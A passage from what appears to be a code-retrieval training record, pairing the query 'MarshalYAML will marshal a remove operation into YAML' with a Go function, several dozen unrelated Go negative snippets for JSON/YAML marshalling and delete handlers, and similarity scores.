([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage23(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (r *SingleValueLegacyExtendedPropertyRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}", "func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func encodeDeleteTagResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\tif err != nil {\n\t\t\tlogrus.Warn(err.Error())\n\t\t}\n\treturn\n}", "func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func NewJSONItemRemover(removedPath []string) JSONItemRemover {\n\tremovedDataIndex1 := make(map[int]bool)\n\tremovedPath1 := make(map[string]bool)\n\tvar rmCount int\n\tif removedPath != nil {\n\t\trmCount = len(removedPath)\n\t\tfor _, val := range removedPath {\n\t\t\tremovedPath1[val] = true\n\n\t\t}\n\t}\n\treturn containerJSONItemRemover{removedDataIndex: removedDataIndex1, removedPath: removedPath1, removedPathCount: rmCount}\n}", "func (crrfse ChaosRemoveReplicaFaultScheduledEvent) MarshalJSON() ([]byte, error) {\n\tcrrfse.Kind = KindChaosRemoveReplicaFaultScheduled\n\tobjectMap := make(map[string]interface{})\n\tif crrfse.FaultGroupID != nil {\n\t\tobjectMap[\"FaultGroupId\"] = crrfse.FaultGroupID\n\t}\n\tif crrfse.FaultID != nil {\n\t\tobjectMap[\"FaultId\"] = crrfse.FaultID\n\t}\n\tif crrfse.ServiceURI != nil {\n\t\tobjectMap[\"ServiceUri\"] = crrfse.ServiceURI\n\t}\n\tif crrfse.PartitionID != nil {\n\t\tobjectMap[\"PartitionId\"] = crrfse.PartitionID\n\t}\n\tif crrfse.ReplicaID != nil {\n\t\tobjectMap[\"ReplicaId\"] = crrfse.ReplicaID\n\t}\n\tif crrfse.EventInstanceID != nil {\n\t\tobjectMap[\"EventInstanceId\"] = crrfse.EventInstanceID\n\t}\n\tif crrfse.TimeStamp != nil {\n\t\tobjectMap[\"TimeStamp\"] = crrfse.TimeStamp\n\t}\n\tif crrfse.HasCorrelatedEvents != nil {\n\t\tobjectMap[\"HasCorrelatedEvents\"] = crrfse.HasCorrelatedEvents\n\t}\n\tif crrfse.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = crrfse.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func deleteObject(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tkey, _ := strconv.Atoi(vars[\"id\"])\n\tfound := false\n\tlocation := 0\n\n\tfor index := range listOfObjects {\n\t\tif listOfObjects[index].ID == key {\n\t\t\tfound = true\n\t\t\tlocation = index\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif found == true {\n\t\tlistOfObjects = append(listOfObjects[:location], listOfObjects[location+1:]...)\n\t\terr := json.NewEncoder(w).Encode(\"Removed\")\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tlog.Fatal(\"Error encoding JSON\")\n\t\t}\n\t} else {\n\t\tw.WriteHeader(http.StatusNotFound)\n\t\terr := json.NewEncoder(w).Encode(\"Could not find object\")\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tlog.Fatal(\"Error encoding JSON\")\n\t\t}\n\t}\n}", "func (u UpdateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(u.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(u.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase u.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range u.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tRow Row `json:\"row\"`\n\t}{\n\t\tOp: u.Op(),\n\t\tTable: u.Table,\n\t\tWhere: u.Where,\n\t\tRow: u.Row,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (this *RouteController) AjaxRemove() {\n\tdata := JsonData{}\n\n\tif this.isPost() {\n\t\troute := strings.TrimSpace(this.GetString(\"route\"))\n\n\t\trouteModel := models.Route{}\n\t\trouteModel.FindByUrl(route)\n\n\t\tif isDelete, _ := routeModel.Delete(); isDelete {\n\t\t\tdata.Code = 200\n\t\t\tdata.Message = \"删除成功\"\n\t\t} else {\n\t\t\tdata.Code = 400\n\t\t\tdata.Message = \"删除成功\"\n\t\t}\n\n\t} else {\n\t\tdata.Code = 400\n\t\tdata.Message = \"非法请求\"\n\t}\n\n\tthis.ShowJSON(&data)\n}", "func (v RemoveScriptToEvaluateOnNewDocumentParams) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage23(w, v)\n}", "func (b BastionSessionDeleteResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", b.NextLink)\n\tpopulate(objectMap, \"value\", b.Value)\n\treturn json.Marshal(objectMap)\n}", "func (obj CartAddCustomShippingMethodAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartAddCustomShippingMethodAction\n\tdata, err := json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"addCustomShippingMethod\", Alias: (*Alias)(&obj)})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\traw := make(map[string]interface{})\n\tif err := json.Unmarshal(data, &raw); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif raw[\"deliveries\"] == nil {\n\t\tdelete(raw, \"deliveries\")\n\t}\n\n\treturn json.Marshal(raw)\n\n}", "func (arinpsm AddRemoveIncrementalNamedPartitionScalingMechanism) MarshalJSON() ([]byte, error) {\n\tarinpsm.Kind = KindAddRemoveIncrementalNamedPartition\n\tobjectMap := make(map[string]interface{})\n\tif arinpsm.MinPartitionCount != nil {\n\t\tobjectMap[\"MinPartitionCount\"] = arinpsm.MinPartitionCount\n\t}\n\tif arinpsm.MaxPartitionCount != nil {\n\t\tobjectMap[\"MaxPartitionCount\"] = arinpsm.MaxPartitionCount\n\t}\n\tif arinpsm.ScaleIncrement != nil {\n\t\tobjectMap[\"ScaleIncrement\"] = arinpsm.ScaleIncrement\n\t}\n\tif arinpsm.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = arinpsm.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (v EventApplicationRepositoryDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk8(w, v)\n}", "func (o DeleteSharedDashboardResponse) MarshalJSON() ([]byte, error) {\n\ttoSerialize := map[string]interface{}{}\n\tif o.UnparsedObject != nil {\n\t\treturn json.Marshal(o.UnparsedObject)\n\t}\n\tif o.DeletedPublicDashboardToken != nil {\n\t\ttoSerialize[\"deleted_public_dashboard_token\"] = o.DeletedPublicDashboardToken\n\t}\n\n\tfor key, value := range o.AdditionalProperties {\n\t\ttoSerialize[key] = value\n\t}\n\treturn json.Marshal(toSerialize)\n}", "func deleteRegistry(w http.ResponseWriter, req *http.Request) {\n\tvar sStore SpecificStore\n\t_ = json.NewDecoder(req.Body).Decode(&sStore)\n\n\tif len(array) == 0 {\n\t\tfmt.Println(\"$$$Primero debe llenar el arreglo con informacion\")\n\t\tjson.NewEncoder(w).Encode(\"Primero debe llenar el arreglo con informacion\")\n\t\treturn\n\t}\n\n\tfmt.Println(\"$$$Buscando tienda con los parametros especificados\")\n\tfor i := 0; i < len(array); i++ {\n\t\tif array[i].Department == sStore.Departament && array[i].Rating == sStore.Rating {\n\t\t\tfor j := 0; j < array[i].List.lenght; j++ {\n\t\t\t\ttempNode, _ := array[i].List.GetNodeAt(j)\n\t\t\t\ttempName := tempNode.data.Name\n\t\t\t\tif tempName == sStore.Name {\n\t\t\t\t\tarray[i].List.DeleteNode(j)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tprintArray(array)\n\n}", "func (r TestPrefixDrop) MarshalJSON() ([]byte, error) {\n\ts, err := r.getString()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(s)\n}" ]
[ "0.64192116", "0.613095", "0.6085701", "0.60319763", "0.60085", "0.6003504", "0.6002985", "0.59967583", "0.59633255", "0.5949001", "0.5914551", "0.59112257", "0.5857894", "0.58396065", "0.5743186", "0.5739464", "0.5686652", "0.5678679", "0.5666193", "0.5659155", "0.560484", "0.5593519", "0.558779", "0.5512871", "0.55123734", "0.53905034", "0.5384362", "0.53585166", "0.5341794", "0.5337432", "0.5303841", "0.52994114", "0.5297704", "0.5286325", "0.52740633", "0.52570915", "0.524348", "0.5242803", "0.5236773", "0.5235403", "0.5235403", "0.5215026", "0.520653", "0.5204253", "0.52023345", "0.51897085", "0.5176272", "0.51271194", "0.5123147", "0.51229715", "0.511197", "0.50986576", "0.50967836", "0.5091463", "0.5076334", "0.50746846", "0.507275", "0.50538784", "0.50485253", "0.50292397", "0.50285065", "0.5027386", "0.5024921", "0.50229937", "0.50087106", "0.5004537", "0.49983853", "0.4996202", "0.4988153", "0.49850798", "0.49813676", "0.49807504", "0.49778056", "0.49763227", "0.49729252", "0.4968406", "0.496839", "0.49624172", "0.49571788", "0.49564162", "0.4951848", "0.49479058", "0.49440834", "0.49440187", "0.49336782", "0.4929491", "0.49167794", "0.4916577", "0.49158177", "0.49085957", "0.49064368", "0.4905083", "0.48999256", "0.4899721", "0.48939866", "0.48930913", "0.48916918", "0.48729387", "0.48674053", "0.4858956" ]
0.6976359
0
MarshalYAML will marshal a remove operation into YAML
func (op OpRemove) MarshalYAML() (interface{}, error) { return op.Field.String(), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}", "func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}", "func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}", "func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}", "func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}", "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func (self *Yaml) Del(params ...interface{}) error {\n\targs, err := self.generateArgs(params...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn DeleteProperty(args)\n}", "func cleanYaml(rawYaml []byte) []byte {\n\tvar lines []string\n\tvar buffer bytes.Buffer\n\n\tlines = strings.Split(string(rawYaml), \"\\n\")\n\n\tfor _, line := range lines {\n\t\tbuffer.WriteString(rubyYamlRegex.ReplaceAllString(line, \"${1}${2}\\n\"))\n\t}\n\treturn buffer.Bytes()\n}", "func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}", "func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}", "func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (c *KafkaCluster) removeMarshal(m *Marshaler) {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\n\tfor i, ml := range c.marshalers {\n\t\tif ml == m {\n\t\t\tc.marshalers = append(c.marshalers[:i], c.marshalers[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}", "func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}", "func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}", "func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}", "func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}", "func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}", "func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}", "func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}", "func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func DeleteYaml(fname string) (err error) {\n\terr = os.Remove(fname)\n\treturn\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}", "func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}", "func remove(ymlfile string, packageName string) error {\n\tappFS := afero.NewOsFs()\n\tyf, _ := afero.ReadFile(appFS, ymlfile)\n\tfi, err := os.Stat(ymlfile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar out []byte\n\ti := 0\n\tlines := bytes.Split(yf, []byte(\"\\n\"))\n\tfor _, line := range lines {\n\t\ti++\n\t\t// trim the line to detect the start of the list of packages\n\t\t// but do not write the trimmed string as it may cause an\n\t\t// unneeded file diff to the yml file\n\t\tsline := bytes.TrimLeft(line, \" \")\n\t\tif bytes.HasPrefix(sline, []byte(\"- \"+packageName)) {\n\t\t\tcontinue\n\t\t}\n\t\tout = append(out, line...)\n\t\tif i < len(lines) {\n\t\t\tout = append(out, []byte(\"\\n\")...)\n\t\t}\n\t}\n\terr = afero.WriteFile(appFS, ymlfile, out, fi.Mode())\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func ToCleanedK8sResourceYAML(obj Resource) ([]byte, error) {\n\traw, err := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert object to unstructured object: %w\", err)\n\t}\n\n\t// No need to store the status\n\tdelete(raw, \"status\")\n\n\tmetadata := map[string]interface{}{\n\t\t\"name\": obj.GetName(),\n\t}\n\n\tif obj.GetNamespace() != \"\" {\n\t\tmetadata[\"namespace\"] = obj.GetNamespace()\n\t}\n\n\tif len(obj.GetLabels()) != 0 {\n\t\tmetadata[\"labels\"] = obj.GetLabels()\n\t}\n\n\tif len(obj.GetAnnotations()) != 0 {\n\t\tmetadata[\"annotations\"] = obj.GetAnnotations()\n\t}\n\n\traw[\"metadata\"] = metadata\n\n\tbuf, err := yaml.Marshal(raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert unstructured object to json: %w\", err)\n\t}\n\n\treturn buf, nil\n}", "func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}", "func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}", "func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}", "func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}", "func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}", "func TestBucketToYAML(t *testing.T) {\n\tt.Skip()\n\t\n\tbkt := bucket.New()\n\n\tbkt.Nodes = append(bkt.Nodes, \"node-from-test\")\n\tbkt.Endpoints.Version = \"from-code\"\n\n\tendpointItem := struct {\n\t\tClusterName string `yaml:\"cluster_name\"`\n\t\tHosts []struct {\n\t\t\tSocketAddress struct {\n\t\t\t\tAddress string `yaml:\"address\"`\n\t\t\t\tPortValue uint32 `yaml:\"port_value\"`\n\t\t\t} `yaml:\"socket_address\"\",flow\"`\n\t\t} `yaml:\"hosts\"\",flow\"`\n\t}{\n\t\tClusterName: \"cluster-from-test\",\n\t}\n\t\n\tbkt.Endpoints.Items = append(bkt.Endpoints.Items, endpointItem)\n\t\n\t// TODO: just a quick one for now\n\t// not checking the guts here\n\tyml, err := bkt.ToYAML()\n\tif err != nil {\n\t\tlog.Tracef(\"bucket_test.go: TestBucketToYAML(): yml = %s\", yml)\n\t\tt.Errorf(\"Could not bkt.ToYaml(), err = %s\", err)\n\t}\n\n\tfilename := \"./bucket-obus-node-01-eds-rds-60001-route-direct.yaml\"\n\terr = bkt.FromFile(filename)\n\n\tyml, err = bkt.ToYAML()\n\tif err != nil {\n\t\tlog.Tracef(\"bucket_test.go: TestBucketToYAML(): yml = %s\", yml)\n\t\tt.Errorf(\"Could not bkt.ToYAML(), err = %s\", err)\n\t}\n\n\tlog.Tracef(\"bucket_test.go: TestBucketToYAML(): yml = >\\n%s\", yml)\n\n\n\t// check yml for regex 60099\n\t// check ymkl for cluster_name: obus-server-60001 and make sure that it appears 2 times\n\t// one in endpoints, another time in routes\n\n\trxp,_ := regexp.Compile(\"60099\")\n\n\tif !rxp.MatchString(string(yml)) {\n\t\tt.Errorf(\"Could not find 60099 in generated YAML, while bkt.ToYAML()\")\n\t}\n\n\n\tif val , exp := strings.Count(string(yml), \"cluster_name: obus-server-60001\"), 2;\n\tval != exp {\n\t\tt.Errorf(\"strings.Count(string(yml), \\\"cluster_name: obus-server-60001\\\") = %d, should be %d\", val, exp)\n\t}\n\t\n}", "func removeFromKustomization(providerDirectory string, release v1alpha1.Release) error {\n\tpath := filepath.Join(providerDirectory, \"kustomization.yaml\")\n\tvar providerKustomization kustomizationFile\n\tproviderKustomizationData, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\terr = yaml.UnmarshalStrict(providerKustomizationData, &providerKustomization)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\tfor i, r := range providerKustomization.Resources {\n\t\tif r == releaseToDirectory(release) {\n\t\t\tproviderKustomization.Resources = append(providerKustomization.Resources[:i], providerKustomization.Resources[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n\tproviderKustomization.Resources, err = deduplicateAndSortVersions(providerKustomization.Resources)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\tdata, err := yaml.Marshal(providerKustomization)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\terr = ioutil.WriteFile(path, data, 0644) //nolint:gosec\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\treturn nil\n}", "func (c *Scrubber) ScrubYaml(input []byte) ([]byte, error) {\n\tvar data *interface{}\n\terr := yaml.Unmarshal(input, &data)\n\n\t// if we can't load the yaml run the default scrubber on the input\n\tif err == nil {\n\t\twalk(data, func(key string, value interface{}) (bool, interface{}) {\n\t\t\tfor _, replacer := range c.singleLineReplacers {\n\t\t\t\tif replacer.YAMLKeyRegex == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif replacer.YAMLKeyRegex.Match([]byte(key)) {\n\t\t\t\t\tif replacer.ProcessValue != nil {\n\t\t\t\t\t\treturn true, replacer.ProcessValue(value)\n\t\t\t\t\t}\n\t\t\t\t\treturn true, defaultReplacement\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false, \"\"\n\t\t})\n\n\t\tnewInput, err := yaml.Marshal(data)\n\t\tif err == nil {\n\t\t\tinput = newInput\n\t\t} else {\n\t\t\t// Since the scrubber is a dependency of the logger we can use it here.\n\t\t\tfmt.Fprintf(os.Stderr, \"error scrubbing YAML, falling back on text scrubber: %s\\n\", err)\n\t\t}\n\t}\n\treturn c.ScrubBytes(input)\n}", "func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}", "func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}", "func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}", "func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}", "func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}", "func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}", "func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}", "func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}", "func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}", "func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}", "func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}", "func (f BodyField) MarshalYAML() (interface{}, error) {\n\treturn toJSONDot(f), nil\n}", "func ExportYAMLForSpec(ctx context.Context, client *gapic.RegistryClient, message *rpc.Spec) {\n\tprintDocAsYaml(docForMapping(exportSpec(ctx, client, message)))\n}", "func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}", "func (s *Siegfried) YAML() string {\n\tversion := config.Version()\n\tstr := fmt.Sprintf(\n\t\t\"---\\nsiegfried : %d.%d.%d\\nscandate : %v\\nsignature : %s\\ncreated : %v\\nidentifiers : \\n\",\n\t\tversion[0], version[1], version[2],\n\t\ttime.Now().Format(time.RFC3339),\n\t\tconfig.SignatureBase(),\n\t\ts.C.Format(time.RFC3339))\n\tfor _, id := range s.ids {\n\t\td := id.Describe()\n\t\tstr += fmt.Sprintf(\" - name : '%v'\\n details : '%v'\\n\", d[0], d[1])\n\t}\n\treturn str\n}", "func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif 